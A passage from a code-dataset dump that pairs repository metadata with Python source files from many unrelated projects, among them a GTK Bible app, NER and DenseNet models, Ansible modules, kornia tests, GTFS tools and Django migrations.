3825d51e2733c533fee641159a5179683ee32e7b
[ "MIT" ]
3
2020-09-06T05:43:29.000Z
2022-03-31T22:59:38.000Z
src/window.py
Lugsole/net.lugsole.bible_gui
3825d51e2733c533fee641159a5179683ee32e7b
[ "MIT" ]
1
2021-03-15T09:51:58.000Z
2021-03-15T09:51:58.000Z
import gi from .tts import readText from .Bible_Parser import BibleParser gi.require_version('Gtk', '4.0') gi.require_version('Gst', '1.0') from gi.repository import Gtk, Gio, Gst, Gdk gi.require_version('Adw', '1') from gi.repository import Adw from .config import pkgdatadir, application_id, user_data_dir import os...
34.537594
87
0.596495
import gi from .tts import readText from .Bible_Parser import BibleParser gi.require_version('Gtk', '4.0') gi.require_version('Gst', '1.0') from gi.repository import Gtk, Gio, Gst, Gdk gi.require_version('Adw', '1') from gi.repository import Adw from .config import pkgdatadir, application_id, user_data_dir import os...
true
true
f7776a75118f8dbb8a084f2b2864ed9cb1c7f6d9
12,008
py
Python
BiLSTM-CRF-baseline-model/run_lstm_crf.py
xiabo0816/ChemNer
d89f1913a5510d21171bee6809a08bbce7d3d4cc
[ "MIT" ]
3
2020-11-02T10:41:27.000Z
2021-02-10T00:46:14.000Z
BiLSTM-CRF-baseline-model/run_lstm_crf.py
xiabo0816/ChemNer
d89f1913a5510d21171bee6809a08bbce7d3d4cc
[ "MIT" ]
null
null
null
BiLSTM-CRF-baseline-model/run_lstm_crf.py
xiabo0816/ChemNer
d89f1913a5510d21171bee6809a08bbce7d3d4cc
[ "MIT" ]
null
null
null
import json import torch import argparse import torch.nn as nn from torch import optim import config from model import NERModel from dataset_loader import DatasetLoader from progressbar import ProgressBar from ner_metrics import SeqEntityScore from data_processor import CluenerProcessor from lr_scheduler imp...
47.090196
113
0.602432
import json import torch import argparse import torch.nn as nn from torch import optim import config from model import NERModel from dataset_loader import DatasetLoader from progressbar import ProgressBar from ner_metrics import SeqEntityScore from data_processor import CluenerProcessor from lr_scheduler imp...
true
true
f7776bdc30bec0ca36884305fe63ccf560a02d52
26,861
py
Python
test/feature/test_laf.py
saurabhya/kornia
f2b4fe9fb32d99795783f25b5a4c561001783ebf
[ "ECL-2.0", "Apache-2.0" ]
418
2018-10-02T22:31:36.000Z
2019-01-16T14:15:45.000Z
test/feature/test_laf.py
saurabhya/kornia
f2b4fe9fb32d99795783f25b5a4c561001783ebf
[ "ECL-2.0", "Apache-2.0" ]
94
2019-01-17T22:10:45.000Z
2019-05-22T23:47:58.000Z
test/feature/test_laf.py
saurabhya/kornia
f2b4fe9fb32d99795783f25b5a4c561001783ebf
[ "ECL-2.0", "Apache-2.0" ]
25
2018-10-02T22:50:04.000Z
2019-01-13T18:14:11.000Z
import pytest import torch from torch.autograd import gradcheck import kornia import kornia.geometry.transform.imgwarp import kornia.testing as utils # test utils from kornia.testing import assert_close class TestAngleToRotationMatrix: def test_shape(self, device): inp = torch.ones(1, 3, 4, 4).to(device...
44.034426
117
0.639663
import pytest import torch from torch.autograd import gradcheck import kornia import kornia.geometry.transform.imgwarp import kornia.testing as utils from kornia.testing import assert_close class TestAngleToRotationMatrix: def test_shape(self, device): inp = torch.ones(1, 3, 4, 4).to(device) rot...
true
true
f7776c172a6328b1c97227c48cc3ff58d220081d
1,372
py
Python
2/led_control.py
ZYM-PKU/Raspberry-3B
bca939a71575d7298d09a8f56cd697ddf63f34d5
[ "MIT" ]
null
null
null
2/led_control.py
ZYM-PKU/Raspberry-3B
bca939a71575d7298d09a8f56cd697ddf63f34d5
[ "MIT" ]
null
null
null
2/led_control.py
ZYM-PKU/Raspberry-3B
bca939a71575d7298d09a8f56cd697ddf63f34d5
[ "MIT" ]
null
null
null
import RPi.GPIO as GPIO import time,threading LED = 26 KEY = 20 GPIO.setmode(GPIO.BCM) GPIO.setup(LED,GPIO.OUT) GPIO.setup(KEY, GPIO.IN,GPIO.PUD_UP) # 上拉电阻 freq=1#闪烁频率 state=0#当前状态(亮/暗) pulse_time=time.time()#记录时间轴上最近一次上跳沿的时刻 p = GPIO.PWM(LED,freq) def callback1(ch): global state state=1 if state==0 else...
19.323944
79
0.65379
import RPi.GPIO as GPIO import time,threading LED = 26 KEY = 20 GPIO.setmode(GPIO.BCM) GPIO.setup(LED,GPIO.OUT) GPIO.setup(KEY, GPIO.IN,GPIO.PUD_UP) freq=1state=0pulse_time=time.time()p = GPIO.PWM(LED,freq) def callback1(ch): global state state=1 if state==0 else 0 GPIO.output(LED,state) def control1...
true
true
f7776cde6e2012f9af238b0d4f29fb840d243aa3
14,055
py
Python
Collections-a-installer/community-general-2.4.0/plugins/modules/system/dconf.py
d-amien-b/simple-getwordpress
da90d515a0aa837b633d50db4d91d22b031c04a2
[ "MIT" ]
22
2021-07-16T08:11:22.000Z
2022-03-31T07:15:34.000Z
Collections-a-installer/community-general-2.4.0/plugins/modules/system/dconf.py
d-amien-b/simple-getwordpress
da90d515a0aa837b633d50db4d91d22b031c04a2
[ "MIT" ]
12
2020-02-21T07:24:52.000Z
2020-04-14T09:54:32.000Z
Collections-a-installer/community-general-2.4.0/plugins/modules/system/dconf.py
d-amien-b/simple-getwordpress
da90d515a0aa837b633d50db4d91d22b031c04a2
[ "MIT" ]
39
2021-07-05T02:31:42.000Z
2022-03-31T02:46:03.000Z
#!/usr/bin/python # -*- coding: utf-8 -*- # Copyright: (c) 2017, Branko Majic <branko@majic.rs> # GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt) from __future__ import absolute_import, division, print_function __metaclass__ = type DOCUMENTATION = r''' module: dconf author...
36.506494
147
0.651085
from __future__ import absolute_import, division, print_function __metaclass__ = type DOCUMENTATION = r''' module: dconf author: - "Branko Majic (@azaghal)" short_description: Modify and read dconf database description: - This module allows modifications and reading of C(dconf) database. The module is imp...
true
true
f7776d2f7eda07acbc5e326c2d18fdbedf127e48
2,312
py
Python
packages/augur-core/tests/reporting/test_universe_redeem.py
autun12/augur
71ec78e09c1bba3ef15a9f90336edc78c76b5c9e
[ "MIT" ]
null
null
null
packages/augur-core/tests/reporting/test_universe_redeem.py
autun12/augur
71ec78e09c1bba3ef15a9f90336edc78c76b5c9e
[ "MIT" ]
null
null
null
packages/augur-core/tests/reporting/test_universe_redeem.py
autun12/augur
71ec78e09c1bba3ef15a9f90336edc78c76b5c9e
[ "MIT" ]
null
null
null
from ethereum.tools import tester from ethereum.tools.tester import TransactionFailed from pytest import fixture, raises, mark from utils import longToHexString, EtherDelta, TokenDelta, PrintGasUsed from reporting_utils import proceedToNextRound, proceedToFork, finalizeFork def test_redeem_reporting_participants(kitch...
60.842105
140
0.801038
from ethereum.tools import tester from ethereum.tools.tester import TransactionFailed from pytest import fixture, raises, mark from utils import longToHexString, EtherDelta, TokenDelta, PrintGasUsed from reporting_utils import proceedToNextRound, proceedToFork, finalizeFork def test_redeem_reporting_participants(kitch...
true
true
f7776d342357e9f08fa66e083f20e847bb3ace83
4,110
py
Python
includes/BOLTS/backends/freecad/init.py
codysandahl/3dprinting
98d588864e5ba5826c7ed16959aa7b1040a760b3
[ "MIT" ]
null
null
null
includes/BOLTS/backends/freecad/init.py
codysandahl/3dprinting
98d588864e5ba5826c7ed16959aa7b1040a760b3
[ "MIT" ]
null
null
null
includes/BOLTS/backends/freecad/init.py
codysandahl/3dprinting
98d588864e5ba5826c7ed16959aa7b1040a760b3
[ "MIT" ]
null
null
null
#BOLTS - Open Library of Technical Specifications #Copyright (C) 2013 Johannes Reinhardt <jreinhardt@ist-dein-freund.de> # #This library is free software; you can redistribute it and/or #modify it under the terms of the GNU Lesser General Public #License as published by the Free Software Foundation; either #version 2.1...
30
98
0.681022
import FreeCAD import FreeCADGui import Part from os.path import join, exists, dirname from os import listdir from .bolttools import blt from .bolttools import freecad USE_PYSIDE = True try: from PySide import QtCore from FreeCADGui import getMainWindow except ImportError: from PyQt5 import QtCore, QtG...
true
true
f7776e401d656b04000a15b63f53dfa2f4be15fc
485
py
Python
code/exampleStrats/duds/_love_trigger.py
jacobingalls1/prisonersDilemma
7a616bbb9e0f6aeeea9eadc55c1e0ce1af542569
[ "MIT" ]
null
null
null
code/exampleStrats/duds/_love_trigger.py
jacobingalls1/prisonersDilemma
7a616bbb9e0f6aeeea9eadc55c1e0ce1af542569
[ "MIT" ]
null
null
null
code/exampleStrats/duds/_love_trigger.py
jacobingalls1/prisonersDilemma
7a616bbb9e0f6aeeea9eadc55c1e0ce1af542569
[ "MIT" ]
null
null
null
import random import numpy as np def strategy(history, memory): # defects until opponent cooperates, then cooperates forever righted = False if memory is not None and memory: # Has memory that it was already righted. righted = True else: # Has not been wronged yet, historically. if hist...
28.529412
92
0.637113
import random import numpy as np def strategy(history, memory): righted = False if memory is not None and memory: righted = True else: if history.shape[1] >= 1 and history[1][-1] == 1: righted = True if righted: return 1, True else: return 0, False
true
true
f7776ee653f432435361592be9962a69c786e52c
9,594
py
Python
Proyectos/Album Progra/clase_U_Inicio.py
TEC-2014092195/IC1802-introduccion-a-la-programacion
20391cc2e301993cacb27178f2deab403016ed84
[ "MIT" ]
null
null
null
Proyectos/Album Progra/clase_U_Inicio.py
TEC-2014092195/IC1802-introduccion-a-la-programacion
20391cc2e301993cacb27178f2deab403016ed84
[ "MIT" ]
null
null
null
Proyectos/Album Progra/clase_U_Inicio.py
TEC-2014092195/IC1802-introduccion-a-la-programacion
20391cc2e301993cacb27178f2deab403016ed84
[ "MIT" ]
null
null
null
from tkinter import * from tkinter import messagebox import socket import pickle class clase_U_Inicio(): def __init__(self,sock): self.nom = [] self.paginas=0 self.fila=0 self.columna=0 self.frmdic={} self.btn={} self.pagina_actual=0 sel...
29.88785
121
0.443819
from tkinter import * from tkinter import messagebox import socket import pickle class clase_U_Inicio(): def __init__(self,sock): self.nom = [] self.paginas=0 self.fila=0 self.columna=0 self.frmdic={} self.btn={} self.pagina_actual=0 sel...
true
true
f7776fbd145185d7698b593383beaaaf585a12f7
1,223
py
Python
Utilities/build_makelink.py
crystallion/openvanilla-oranje
bfd16dbf72aa89433a96638049149aefc4056250
[ "BSD-3-Clause" ]
1
2017-03-14T10:07:52.000Z
2017-03-14T10:07:52.000Z
Utilities/build_makelink.py
crystallion/openvanilla-oranje
bfd16dbf72aa89433a96638049149aefc4056250
[ "BSD-3-Clause" ]
null
null
null
Utilities/build_makelink.py
crystallion/openvanilla-oranje
bfd16dbf72aa89433a96638049149aefc4056250
[ "BSD-3-Clause" ]
null
null
null
#!/usr/bin/env python # encoding: utf-8 """ build_makelink.py Created by zonble on 2009-09-07. """ import sys import os def build_debug(): project_target_name = "OpenVanilla (Loader IMK)" clean_command = "xcodebuild -project ../OpenVanilla.xcodeproj -configuration Debug clean" build_command = "xcodebuild -project...
21.839286
130
0.716271
""" build_makelink.py Created by zonble on 2009-09-07. """ import sys import os def build_debug(): project_target_name = "OpenVanilla (Loader IMK)" clean_command = "xcodebuild -project ../OpenVanilla.xcodeproj -configuration Debug clean" build_command = "xcodebuild -project ../OpenVanilla.xcodeproj -configuration...
false
true
f77771b88356191498389df9c47e284d88905473
2,893
py
Python
src/pybeatsaver/models/fields.py
Kiyomi-Parents/PyBeatSaver
ce4d957f0e2dd2e151958a861b25952fbfd47479
[ "MIT" ]
null
null
null
src/pybeatsaver/models/fields.py
Kiyomi-Parents/PyBeatSaver
ce4d957f0e2dd2e151958a861b25952fbfd47479
[ "MIT" ]
12
2022-02-03T14:31:06.000Z
2022-03-24T20:17:05.000Z
src/pybeatsaver/models/fields.py
Kiyomi-Parents/PyBeatSaver
ce4d957f0e2dd2e151958a861b25952fbfd47479
[ "MIT" ]
null
null
null
from dateutil import parser from dataclasses import field, Field from datetime import datetime from typing import * from dataclasses_json import config from marshmallow import fields from .enum import Characteristic, Difficulty, AccountType def datetime_from_iso_format(time): if time: return parser.isop...
23.909091
73
0.668165
from dateutil import parser from dataclasses import field, Field from datetime import datetime from typing import * from dataclasses_json import config from marshmallow import fields from .enum import Characteristic, Difficulty, AccountType def datetime_from_iso_format(time): if time: return parser.isop...
true
true
f77771d834b4db14eccb227b9d44660157f5e2a9
1,112
py
Python
installer/core/providers/aws/boto3/es.py
Diffblue-benchmarks/pacbot
4709eb11f87636bc42a52e7a76b740f9d76d156d
[ "Apache-2.0" ]
1
2020-01-14T10:14:27.000Z
2020-01-14T10:14:27.000Z
installer/core/providers/aws/boto3/es.py
Diffblue-benchmarks/pacbot
4709eb11f87636bc42a52e7a76b740f9d76d156d
[ "Apache-2.0" ]
19
2021-07-02T18:53:27.000Z
2022-03-02T09:55:29.000Z
installer/core/providers/aws/boto3/es.py
Diffblue-benchmarks/pacbot
4709eb11f87636bc42a52e7a76b740f9d76d156d
[ "Apache-2.0" ]
1
2020-01-14T09:10:10.000Z
2020-01-14T09:10:10.000Z
import boto3 def get_es_client(access_key, secret_key, region): """ Returns the client object for AWS Elasticsearch Args: access_key (str): AWS Access Key secret_key (str): AWS Secret Key region (str): AWS Region Returns: obj: AWS Elasticsearch Object """ retu...
25.272727
72
0.642986
import boto3 def get_es_client(access_key, secret_key, region): return boto3.client( 'es', region_name=region, aws_access_key_id=access_key, aws_secret_access_key=secret_key) def check_es_domain_exists(domain_name, access_key, secret_key, region): client = get_es_client(acces...
true
true
f7777285bfb8d0ff86397ae040cefb0fdd531d97
69
py
Python
myprog.py
takmr/MATLAB-ctf-non-ASCII
379d11f3f87bc7cc44590f763603c52b4ed7f140
[ "CC0-1.0" ]
null
null
null
myprog.py
takmr/MATLAB-ctf-non-ASCII
379d11f3f87bc7cc44590f763603c52b4ed7f140
[ "CC0-1.0" ]
null
null
null
myprog.py
takmr/MATLAB-ctf-non-ASCII
379d11f3f87bc7cc44590f763603c52b4ed7f140
[ "CC0-1.0" ]
null
null
null
import mylib obj = mylib.initialize() res = obj.myfunc() print(res)
11.5
24
0.710145
import mylib obj = mylib.initialize() res = obj.myfunc() print(res)
true
true
f77773b0abcd19b6d4d13b0eda0e3aa1709f7f88
7,644
py
Python
mixer/gtfs/generater/shapes.py
Jwuthri/GtfsTools
d0db0c89588f936f02d4e6cccb70034ec1e4b9b1
[ "MIT" ]
2
2017-10-30T07:27:02.000Z
2021-11-09T18:50:13.000Z
mixer/gtfs/generater/shapes.py
Jwuthri/GtfsTools
d0db0c89588f936f02d4e6cccb70034ec1e4b9b1
[ "MIT" ]
1
2017-02-24T20:50:10.000Z
2017-02-24T22:40:33.000Z
mixer/gtfs/generater/shapes.py
Jwuthri/GtfsTools
d0db0c89588f936f02d4e6cccb70034ec1e4b9b1
[ "MIT" ]
null
null
null
"""Generate the file shapes.txt.""" import networkx as nx import multiprocessing as mp from hashlib import sha1 from tqdm import tqdm import pandas as pd from mixer.gtfs.reader.controller import Controller class EstimateShapes(object): """Gen or fill shapes.""" def __init__(self, gtfs_path): ...
34.745455
80
0.556384
import networkx as nx import multiprocessing as mp from hashlib import sha1 from tqdm import tqdm import pandas as pd from mixer.gtfs.reader.controller import Controller class EstimateShapes(object): def __init__(self, gtfs_path): self.gtfs_path = gtfs_path self.dict_gtfs = Contro...
true
true
f7777404dae07b435b455dd587bb83298406e187
2,847
py
Python
api/cleave.py
janelia-flyem/assignment-manager
3b303a1da7d5db6fcab4f91a7d99beabe9710ee3
[ "BSD-3-Clause" ]
null
null
null
api/cleave.py
janelia-flyem/assignment-manager
3b303a1da7d5db6fcab4f91a7d99beabe9710ee3
[ "BSD-3-Clause" ]
null
null
null
api/cleave.py
janelia-flyem/assignment-manager
3b303a1da7d5db6fcab4f91a7d99beabe9710ee3
[ "BSD-3-Clause" ]
null
null
null
''' Cleave protocol ''' from datetime import datetime from assignment_utilities import call_responder class Cleave: ''' Cleave protocol object ''' def __init__(self): self.num_tasks = 100 self.task_populate_method = 'query_neuprint' self.unit = 'body_id' self.cypher_uni...
38.472973
87
0.543028
from datetime import datetime from assignment_utilities import call_responder class Cleave: def __init__(self): self.num_tasks = 100 self.task_populate_method = 'query_neuprint' self.unit = 'body_id' self.cypher_unit = 'bodyId' self.allowable_filters = ['post', 'pre', 'size...
true
true
f777748f9b2fed110f7075ca9c120ce45a9b9719
6,729
py
Python
tests/conftest.py
sputt/qer
ad6a09feddd56059cba5147b0d8341975149e1e6
[ "MIT" ]
6
2019-02-19T11:54:45.000Z
2019-07-01T20:17:43.000Z
tests/conftest.py
sputt/req-compile
d6a54bb4fecd2de7f380e2c8e3ab602ecaa1cb18
[ "MIT" ]
9
2019-11-04T19:25:19.000Z
2021-12-20T21:48:54.000Z
tests/conftest.py
sputt/qer
ad6a09feddd56059cba5147b0d8341975149e1e6
[ "MIT" ]
1
2020-08-20T20:31:28.000Z
2020-08-20T20:31:28.000Z
import collections import logging import os from zipfile import ZipFile import pkg_resources import pytest import tarfile import tempfile import req_compile.metadata import req_compile.metadata.dist_info import req_compile.metadata.metadata import req_compile.utils from req_compile.repos.repository import Repository...
28.634043
87
0.625056
import collections import logging import os from zipfile import ZipFile import pkg_resources import pytest import tarfile import tempfile import req_compile.metadata import req_compile.metadata.dist_info import req_compile.metadata.metadata import req_compile.utils from req_compile.repos.repository import Repository...
true
true
f7777565fc52854d6005b8a6b736fecd5da5f117
5,860
py
Python
aliyun-python-sdk-iot/aliyunsdkiot/request/v20180120/CreateOTAStaticUpgradeJobRequest.py
yndu13/aliyun-openapi-python-sdk
12ace4fb39fe2fb0e3927a4b1b43ee4872da43f5
[ "Apache-2.0" ]
null
null
null
aliyun-python-sdk-iot/aliyunsdkiot/request/v20180120/CreateOTAStaticUpgradeJobRequest.py
yndu13/aliyun-openapi-python-sdk
12ace4fb39fe2fb0e3927a4b1b43ee4872da43f5
[ "Apache-2.0" ]
null
null
null
aliyun-python-sdk-iot/aliyunsdkiot/request/v20180120/CreateOTAStaticUpgradeJobRequest.py
yndu13/aliyun-openapi-python-sdk
12ace4fb39fe2fb0e3927a4b1b43ee4872da43f5
[ "Apache-2.0" ]
null
null
null
# Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not u...
34.069767
91
0.76058
from aliyunsdkcore.request import RpcRequest from aliyunsdkiot.endpoint import endpoint_data class CreateOTAStaticUpgradeJobRequest(RpcRequest): def __init__(self): RpcRequest.__init__(self, 'Iot', '2018-01-20', 'CreateOTAStaticUpgradeJob','iot') self.set_method('POST') if hasattr(self, "endpoint_map"): s...
true
true
f77776051e51e0fc745e8a62a29ef32d9f49de62
343
py
Python
Backend/dog/migrations/0002_delete_dog.py
charliemcg/DogAdoptionRN.6
3413fa148a30193da5ad578ea70d6632f09df98e
[ "MIT" ]
2
2020-03-03T08:57:26.000Z
2020-03-16T07:18:09.000Z
Backend/dog/migrations/0002_delete_dog.py
charliemcg/DogAdoptionRN.6
3413fa148a30193da5ad578ea70d6632f09df98e
[ "MIT" ]
13
2020-03-01T07:11:52.000Z
2021-05-11T07:36:43.000Z
Backend/dog/migrations/0002_delete_dog.py
charliemcg/DogAdoptionRN.6
3413fa148a30193da5ad578ea70d6632f09df98e
[ "MIT" ]
1
2020-03-16T07:18:11.000Z
2020-03-16T07:18:11.000Z
# -*- coding: utf-8 -*- # Generated by Django 1.11.29 on 2020-03-14 08:49 from __future__ import unicode_literals from django.db import migrations class Migration(migrations.Migration): dependencies = [ ('dog', '0001_initial'), ] operations = [ migrations.DeleteModel( name='...
18.052632
49
0.606414
from __future__ import unicode_literals from django.db import migrations class Migration(migrations.Migration): dependencies = [ ('dog', '0001_initial'), ] operations = [ migrations.DeleteModel( name='dog', ), ]
true
true
f777771117362b5b539eceaa05bb3d32068d92b3
11,732
py
Python
gluon/gluoncv2/models/densenet.py
huangwenwenlili/imgclsmob
1505fd61acbed429773f5c7ce286c858fc2278b8
[ "MIT" ]
1
2021-01-08T04:55:45.000Z
2021-01-08T04:55:45.000Z
gluon/gluoncv2/models/densenet.py
huangwenwenlili/imgclsmob
1505fd61acbed429773f5c7ce286c858fc2278b8
[ "MIT" ]
null
null
null
gluon/gluoncv2/models/densenet.py
huangwenwenlili/imgclsmob
1505fd61acbed429773f5c7ce286c858fc2278b8
[ "MIT" ]
null
null
null
""" DenseNet, implemented in Gluon. Original paper: 'Densely Connected Convolutional Networks,' https://arxiv.org/abs/1608.06993. """ __all__ = ['DenseNet', 'densenet121', 'densenet161', 'densenet169', 'densenet201'] import os from mxnet import cpu from mxnet.gluon import nn, HybridBlock from .common import p...
33.329545
116
0.587624
__all__ = ['DenseNet', 'densenet121', 'densenet161', 'densenet169', 'densenet201'] import os from mxnet import cpu from mxnet.gluon import nn, HybridBlock from .common import pre_conv1x1_block, pre_conv3x3_block from .preresnet import PreResInitBlock, PreResActivation class DenseUnit(HybridBlock): def __init__(...
true
true
f77779d69dc57d9d16837ce24e856e3e5c025b6d
7,644
py
Python
tutorial/lstm.py
spencer-hong/QSARBO
a9fa8cbf058abea715fe2c721564f662ed8b1135
[ "MIT" ]
1
2021-05-23T01:03:50.000Z
2021-05-23T01:03:50.000Z
tutorial/lstm.py
spencerhongcornell/QSARBO
a9fa8cbf058abea715fe2c721564f662ed8b1135
[ "MIT" ]
5
2020-09-26T01:07:48.000Z
2022-02-10T01:59:34.000Z
tutorial/lstm.py
spencer-hong/QSARBO
a9fa8cbf058abea715fe2c721564f662ed8b1135
[ "MIT" ]
null
null
null
from keras.callbacks import ModelCheckpoint from keras import backend as K from keras import optimizers from keras.layers import Dense from keras.layers import Dense, Dropout from keras.models import Sequential from keras.wrappers.scikit_learn import KerasClassifier from pandas import ExcelFile from pandas import Excel...
31.586777
158
0.747645
from keras.callbacks import ModelCheckpoint from keras import backend as K from keras import optimizers from keras.layers import Dense from keras.layers import Dense, Dropout from keras.models import Sequential from keras.wrappers.scikit_learn import KerasClassifier from pandas import ExcelFile from pandas import Excel...
true
true
f7777b5fdbefaa79a784404d9af2c98d9b69987a
2,062
py
Python
seguimiento/convocatorias/management/commands/import_convocatorias.py
nnrcschmdt/pislea2
9249c3e4648d4a0a72b63134a0846aefe59ac700
[ "BSD-3-Clause" ]
1
2018-02-06T13:12:15.000Z
2018-02-06T13:12:15.000Z
seguimiento/convocatorias/management/commands/import_convocatorias.py
nnrcschmdt/pislea2
9249c3e4648d4a0a72b63134a0846aefe59ac700
[ "BSD-3-Clause" ]
2
2018-02-07T20:08:05.000Z
2018-02-08T16:52:51.000Z
seguimiento/convocatorias/management/commands/import_convocatorias.py
nnrcschmdt/pislea2
9249c3e4648d4a0a72b63134a0846aefe59ac700
[ "BSD-3-Clause" ]
1
2018-02-08T01:07:24.000Z
2018-02-08T01:07:24.000Z
from django.core.management.base import BaseCommand from django.db import IntegrityError from convocatorias.models import Convocatoria import json from datetime import datetime class Command(BaseCommand): help = 'Importa las convocatorias encontradas por la araña en infosicoes' def add_arguments(self, pars...
45.822222
102
0.50485
from django.core.management.base import BaseCommand from django.db import IntegrityError from convocatorias.models import Convocatoria import json from datetime import datetime class Command(BaseCommand): help = 'Importa las convocatorias encontradas por la araña en infosicoes' def add_arguments(self, pars...
true
true
f7777b8ae2bdd347ef86cebd48c8f5b5939d603c
225
py
Python
ansible-devel/test/integration/targets/module_defaults/collections/ansible_collections/testns/othercoll/plugins/action/other_echoaction.py
satishcarya/ansible
ed091e174c26316f621ac16344a95c99f56bdc43
[ "MIT" ]
null
null
null
ansible-devel/test/integration/targets/module_defaults/collections/ansible_collections/testns/othercoll/plugins/action/other_echoaction.py
satishcarya/ansible
ed091e174c26316f621ac16344a95c99f56bdc43
[ "MIT" ]
null
null
null
ansible-devel/test/integration/targets/module_defaults/collections/ansible_collections/testns/othercoll/plugins/action/other_echoaction.py
satishcarya/ansible
ed091e174c26316f621ac16344a95c99f56bdc43
[ "MIT" ]
null
null
null
from __future__ import (absolute_import, division, print_function) __metaclass__ = type from ansible_collections.testns.testcoll.plugins.action.echoaction import ActionModule as BaseAM class ActionModule(BaseAM): pass
25
96
0.831111
from __future__ import (absolute_import, division, print_function) __metaclass__ = type from ansible_collections.testns.testcoll.plugins.action.echoaction import ActionModule as BaseAM class ActionModule(BaseAM): pass
true
true
f7777c3568c8684c05cdd1aa6fad39748320d3b9
3,789
py
Python
test/nursery/sagemaker_sdk/test_entry_point_scripts.py
PascalIversen/gluon-ts
cb6b5145b94f942f7803383a70813363f6953509
[ "Apache-2.0" ]
1
2020-11-30T18:05:24.000Z
2020-11-30T18:05:24.000Z
test/nursery/sagemaker_sdk/test_entry_point_scripts.py
PascalIversen/gluon-ts
cb6b5145b94f942f7803383a70813363f6953509
[ "Apache-2.0" ]
null
null
null
test/nursery/sagemaker_sdk/test_entry_point_scripts.py
PascalIversen/gluon-ts
cb6b5145b94f942f7803383a70813363f6953509
[ "Apache-2.0" ]
null
null
null
# Copyright 2018 Amazon.com, Inc. or its affiliates. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"). # You may not use this file except in compliance with the License. # A copy of the License is located at # # http://www.apache.org/licenses/LICENSE-2.0 # # or in the "license...
37.147059
107
0.698601
import platform import tempfile from pathlib import Path import argparse import pytest from gluonts.core import serde from gluonts.dataset.repository.datasets import get_dataset from gluonts.model.simple_feedforward import SimpleFeedForwardEstimator from gluonts.nursery.sagemaker_sdk.entry_point_scripts.train_entry_p...
true
true
f7777c41fb53e1373e8bd025c50a4f3b2d9f7c3d
1,416
py
Python
test/test_neuron.py
gsideris/genetic-train-neural
c4bade56f0f735f90d2469acf486fc2a2a8ac919
[ "Apache-2.0" ]
1
2019-07-30T11:29:37.000Z
2019-07-30T11:29:37.000Z
test/test_neuron.py
gsideris/genetic-train-neural
c4bade56f0f735f90d2469acf486fc2a2a8ac919
[ "Apache-2.0" ]
null
null
null
test/test_neuron.py
gsideris/genetic-train-neural
c4bade56f0f735f90d2469acf486fc2a2a8ac919
[ "Apache-2.0" ]
null
null
null
import unittest import os,sys,inspect sys.path.append('..') from neural.neuron import Neuron class NeuronTests(unittest.TestCase): def test_size(self): n = Neuron(10) self.failUnless(n.size == 10) def test_serialization(self): n = Neuron(10) original = [0.1,0.2,0.3,0.4,0.5,...
28.32
77
0.579802
import unittest import os,sys,inspect sys.path.append('..') from neural.neuron import Neuron class NeuronTests(unittest.TestCase): def test_size(self): n = Neuron(10) self.failUnless(n.size == 10) def test_serialization(self): n = Neuron(10) original = [0.1,0.2,0.3,0.4,0.5,...
true
true
f7777e6a5c7ba8cac2288ca04eb45c0d8ee5fb40
3,846
py
Python
code/twain/chapter1/mtpo_explore.py
jarmoza/blueharvest
ef68e711ad314aebfd1204d2dc22e756612a5364
[ "Apache-2.0" ]
null
null
null
code/twain/chapter1/mtpo_explore.py
jarmoza/blueharvest
ef68e711ad314aebfd1204d2dc22e756612a5364
[ "Apache-2.0" ]
13
2021-12-15T14:12:11.000Z
2021-12-26T20:35:25.000Z
code/twain/chapter1/mtpo_explore.py
jarmoza/blueharvest
ef68e711ad314aebfd1204d2dc22e756612a5364
[ "Apache-2.0" ]
null
null
null
# Author: Jonathan Armoza # Project: Art of Literary Modeling # Date: October 22, 2019 # Purpose: Some brief explorations of the TEI XML files and other (meta)data from # Mark Twain Project Online (http://www.marktwainproject.org/) # Credits: Terence Catapano of MTPO (assisted with file location and usage # r...
32.319328
110
0.730369
import argparse from collections import Counter from bs4 import BeautifulSoup from mtpo_commons import mtpo class MTPO_Volume: def __init__(self, p_filepath): with open(p_filepath, "r") as tei_file: self.m_soup = BeautifulSoup(tei_file.read(), "lxml") def get_attributes_for_tag(self, p_tag, p_at...
true
true
f7777f3cae1b6eaba078b7454b923e931459cb86
183
py
Python
Forums/views.py
Seyf-Eddine/ForumsWorkshop
34662966a916995e4770a2a4308b3efede19b4d0
[ "MIT" ]
null
null
null
Forums/views.py
Seyf-Eddine/ForumsWorkshop
34662966a916995e4770a2a4308b3efede19b4d0
[ "MIT" ]
null
null
null
Forums/views.py
Seyf-Eddine/ForumsWorkshop
34662966a916995e4770a2a4308b3efede19b4d0
[ "MIT" ]
null
null
null
from flask import render_template import models import app @app.route("/") @app.route("/index") def home(): return render_template("index.html", posts=app.post_store.get_all())
18.3
72
0.73224
from flask import render_template import models import app @app.route("/") @app.route("/index") def home(): return render_template("index.html", posts=app.post_store.get_all())
true
true
f7777fdb9e5e4ede7eab79fa95b27688ea2d1912
6,739
py
Python
compiler/verify/assura.py
xinjie0831/OpenRAM
76e2ab88fe4097ffa51e0387ba72165bcda49e68
[ "BSD-3-Clause" ]
null
null
null
compiler/verify/assura.py
xinjie0831/OpenRAM
76e2ab88fe4097ffa51e0387ba72165bcda49e68
[ "BSD-3-Clause" ]
null
null
null
compiler/verify/assura.py
xinjie0831/OpenRAM
76e2ab88fe4097ffa51e0387ba72165bcda49e68
[ "BSD-3-Clause" ]
null
null
null
# See LICENSE for licensing information. # #Copyright (c) 2016-2019 Regents of the University of California and The Board #of Regents for the Oklahoma Agricultural and Mechanical College #(acting for and on behalf of Oklahoma State University) #All rights reserved. # """ This is a DRC/LVS interface for Assura. It imple...
33.361386
88
0.6452
import os import re import time import debug from globals import OPTS num_drc_runs = 0 num_lvs_runs = 0 num_pex_runs = 0 def run_drc(name, gds_name, final_verification=False): global num_drc_runs num_drc_runs += 1 from tech import drc drc_rules = drc["drc_rules"] drc_runset = OPTS.openram_...
true
true
f7777ff2c716e58dbe52dfcbf38eace854ed99e6
759
py
Python
surveys/migrations/0004_auto_20190909_2157.py
darkismus/kompassi
35dea2c7af2857a69cae5c5982b48f01ba56da1f
[ "CC-BY-3.0" ]
13
2015-11-29T12:19:12.000Z
2021-02-21T15:42:11.000Z
surveys/migrations/0004_auto_20190909_2157.py
darkismus/kompassi
35dea2c7af2857a69cae5c5982b48f01ba56da1f
[ "CC-BY-3.0" ]
23
2015-04-29T19:43:34.000Z
